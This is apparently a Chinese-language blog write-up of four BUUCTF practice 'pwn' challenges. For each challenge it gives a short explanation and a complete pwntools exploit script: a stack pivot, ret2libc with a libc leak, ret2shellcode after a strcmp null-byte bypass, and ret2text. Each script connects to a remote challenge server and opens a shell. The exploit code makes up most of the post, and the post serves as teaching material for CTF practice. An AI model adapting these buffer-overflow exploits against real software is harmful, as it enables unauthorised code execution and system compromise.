PWN-PRACTICE-BUUCTF-8

ciscn_2019_es_2

栈溢出,但是只能溢出8字节,覆盖ebp和eip,考虑stack pivot,即栈迁移
参考:pwn-ciscn_2019_es_2(栈迁移)

#coding:utf-8
from pwn import *
#context.log_level="debug"
#io=process('./ciscn_2019_es_2')
io=remote('node4.buuoj.cn',25654)
elf=ELF('./ciscn_2019_es_2')
system=elf.plt['system']
leave_ret=0x080485FD
s_ebp_offset=0x38	#输入的起始地址相对于泄露出的ebp的偏移,调试可得
io.recvuntil("your name?\n")
payload="a"*36+"b"*4	#填充满s的40个字节
io.send(payload)
io.recvuntil("b"*4)
ebp=u32(io.recv(4))	#泄露出ebp
print(hex(ebp))
io.recvuntil("\n")
payload="a"*4		#fake ebp
payload+=p32(system)	#第二个leave ret会ret到system
payload+=p32(0xaaaabbbb)#system执行后的返回地址
payload+=p32(ebp-s_ebp_offset+0x10)#system的参数,要指向"/bin/sh\x00"字符串,前面12个字节加上这个的4字节,所以还要加上0x10,仿照格式化字符串任意写的思路
payload+="/bin/sh\x00"
payload=payload.ljust(40,'\x00')#填充满s的40个字节
payload+=p32(ebp-s_ebp_offset)#覆盖ebp,第一个leave的mov esp,ebp(fake) 会让esp指向我们的输入的前四个字节"a"*4
payload+=p32(leave_ret)#覆盖eip,第一个ret会ret到第二个leave ret,而此时的esp为我们输入的前四个字节"a"*4,由于第二个leave的pop ebp,于是我们输入的"a"*4就充当了fake ebp,然后ret就会到system
io.send(payload)
io.interactive()

jarvisoj_level3

栈溢出,ret2libc

from pwn import *
#io=process('./jarvisoj_level3')
io=remote('node4.buuoj.cn',26654)
elf=ELF('./jarvisoj_level3')
libc=ELF('./libc-2.23-x32.so')
io.recvuntil('Input:\n')
write_got=elf.got['write']
write_plt=elf.plt['write']
main_addr=elf.sym['main']
payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(10)
io.sendline(payload)
write_addr=u32(io.recv(4))
print(hex(write_addr))
libc_base=write_addr-libc.sym['write']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()
io.recvuntil('Input:\n')
payload='a'*(0x88+4)+p32(system)+p32(0xdead)+p32(binsh)
io.sendline(payload)
io.interactive()

ez_pz_hackover_2016

'\x00’绕过strcmp,然后是栈溢出,ret2shellcode
参考:[BUUCTF]PWN——ez_pz_hackover_2016
我自己做的时候,想当然的以为想要构成栈溢出,要填充的数据量为ida分析出的dest的50个字节
实际上需要调试才能得到填充量应为0x16(带"crashme\x00",不带ebp)
覆盖ebp和eip,最后加上shellcode,覆盖eip应指向shellcode
所以shellcode相对于题目直接给出的s的地址的偏移也需要知道
eip处偏移为32,因为eip要指向shellcode,而shellcode跟在eip后面
所以shellcode偏移为32-4==28

from pwn import *
#context.log_level="debug"
context.os="linux"
context.arch="i386"
#io=process("./ez_pz_hackover_2016")
io=remote('node4.buuoj.cn',25710)
elf=ELF("./ez_pz_hackover_2016")
io.recvuntil("lets crash: ")
s_stack=int(io.recvuntil("\n")[:-1],16)
print(hex(s_stack))
io.recvuntil("> ")
payload="crashme\x00"#'\x00'绕过strcmp
payload+="a"*(0x16-8+4)#覆盖ebp
payload+=p32(s_stack-32+4)#覆盖eip指向shellcode
payload+=asm(shellcraft.sh())#shellcode
io.sendline(payload)
io.interactive()

jarvisoj_tell_me_something

栈溢出,ret2text

from pwn import *
#io=process('./jarvisoj_tell_me_something')
io=remote('node4.buuoj.cn',29268)
elf=ELF('./jarvisoj_tell_me_something')
flag_addr=elf.sym['good_game']
io.recvuntil('message:\n')
payload='a'*(0x88)+p64(flag_addr)
io.send(payload)
io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

P1umH0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值